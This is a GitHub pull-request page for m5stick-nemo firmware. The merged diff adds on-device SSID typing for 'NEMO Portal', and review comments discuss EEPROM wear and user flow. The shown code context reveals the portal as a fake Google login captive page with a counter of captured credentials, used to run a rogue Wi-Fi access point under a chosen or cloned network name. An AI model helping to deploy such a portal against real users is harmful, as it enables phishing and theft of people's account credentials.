Skip to content
This repository has been archived by the owner on Aug 22, 2024. It is now read-only.

NEMO Portal - Type SSID Using Cardputer Keyboard #69

Merged
merged 4 commits into from
Jan 26, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions m5stick-nemo.ino
Original file line number Diff line number Diff line change
Expand Up @@ -2,13 +2,13 @@
// github.com/n0xa | IG: @4x0nn

// -=-=-=-=-=-=- Uncomment the platform you're building for -=-=-=-=-=-=-
#define STICK_C_PLUS
//#define STICK_C_PLUS
//#define STICK_C_PLUS2
//#define STICK_C
//#define CARDPUTER
#define CARDPUTER
// -=-=- Uncommenting more than one at a time will result in errors -=-=-

String buildver="2.3.4";
String buildver="2.3.5";
#define BGCOLOR BLACK
#define FGCOLOR GREEN

Expand Down
64 changes: 57 additions & 7 deletions portal.h
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
#define LOGIN_MESSAGE "Please log in to browse securely."
#define LOGIN_BUTTON "Next"
#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
#define TYPE_SSID_TEXT "Lenght between 2 and 32\nInvalid: ?,$,\",[,\\,],+\n\nType the SSID\nPress Enter to Confirm\n\n"
#elif defined(LANGUAGE_PT_BR)
#define LOGIN_TITLE "Fazer login"
#define LOGIN_SUBTITLE "Use sua Conta do Google"
Expand All @@ -26,6 +27,7 @@
#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
#define LOGIN_BUTTON "Avançar"
#define LOGIN_AFTER_MESSAGE "Fazendo login..."
#define TYPE_SSID_TEXT "Tamanho entre 2 e 32\nInvalidos: ?,$,\",[,\\,],+\n\nDigite o SSID\nEnter para Confirmar\n\n"
#endif

int totalCapturedCredentials = 0;
Expand All @@ -40,13 +42,6 @@ unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer;
WebServer webServer(80);

void setupWiFi() {
Serial.println("Initializing WiFi");
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(apSsidName);
}

void setSSID(String ssid){
#if defined USE_EEPROM
Serial.printf("Writing %d bytes of SSID to EEPROM\n", ssid.length());
Expand All @@ -62,6 +57,61 @@ void setSSID(String ssid){
return;
}

void confirmOrTypeSSID(){
DISP.fillScreen(BLACK);
DISP.setSwapBytes(true);
DISP.setTextSize(MEDIUM_TEXT);
DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.setCursor(0, 0);
DISP.println("WiFi SSID");
DISP.setTextSize(TINY_TEXT);
DISP.setTextColor(FGCOLOR, BGCOLOR);
DISP.println(TYPE_SSID_TEXT);
DISP.setTextSize(SMALL_TEXT);
uint8_t ssidTextCursorY = DISP.getCursorY();
String currentSSID = String(apSsidName.c_str());
DISP.printf("%s", currentSSID.c_str());
bool ssid_ok = false;

while(!ssid_ok){
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I like the concept, but I'd like to set it up so NEMO Portal launches the portal right when you select the menu option. Could we move the SSID Modification flow so when a special button is pressed on a cardputer, we can alter the SSID?

Copy link
Contributor Author

@gustavocelani gustavocelani Jan 23, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmmm that is a interesting point, @n0xa.
Thinking about user experience, in my opinion, the SSID definition step wouldn't impact the UX.

In fact, I think the current flow is very clean because the previously used SSID will be populated on the screen, so if the user just wants to launch the NEMO Portal, it can simply press Enter and the previous SSID will be used.
What do you think?

M5Cardputer.update();
if(M5Cardputer.Keyboard.isChange() && M5Cardputer.Keyboard.isPressed()) {
Keyboard_Class::KeysState status = M5Cardputer.Keyboard.keysState();
if(status.del) {
currentSSID.remove(currentSSID.length() - 1);
}
if(status.enter) {
ssid_ok = true;
}
if(currentSSID.length() >= 32) {
continue;
}
for(auto i : status.word) {
if(i != '?' && i != '$' && i != '\"' && i != '[' && i != '\\' && i != ']' && i != '+'){
currentSSID += i;
}
}
DISP.fillRect(0, ssidTextCursorY, DISP.width(), DISP.width()- ssidTextCursorY, BLACK);
DISP.setCursor(0, ssidTextCursorY);
DISP.printf("%s", currentSSID.c_str());
}
}

if(currentSSID != apSsidName && currentSSID.length() > 2){
setSSID(currentSSID);
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This will write to EEPROM every single time you start NEMO portal, causing excess EEPROM wear. Additionally, this will cause which ever WiFi you clone from WiFi scanner to be the new default SSID for NEMO Portal even if you don't want it to be.

Two changes I would like:

  1. Confirm y/n if the user wishes this SSID to be saved to EEPROM
  2. If the SSID in EEPROM matches the one to be saved, skip writing the EEPROM to keep from excess EEPROM cycles

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nice point, @n0xa! I completely agree that EEPROM writing can be optimized by implementing your suggestion 2.
I will definitely implement it!

Regarding the first suggestion (y/n confirmation), I don't think it would improve the user experience. In fact, I think the current flow is very clean because the previously used SSID will be populated on the screen, so if the user just wants to launch the NEMO Portal, it can simply press Enter and the previous SSID will be used.
What do you think?

}
}

void setupWiFi() {
Serial.println("Initializing WiFi");
#if defined(CARDPUTER)
confirmOrTypeSSID();
#endif // Cardputer
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(apSsidName);
}

void getSSID(){
String ssid="";
#if defined USE_EEPROM
Expand Down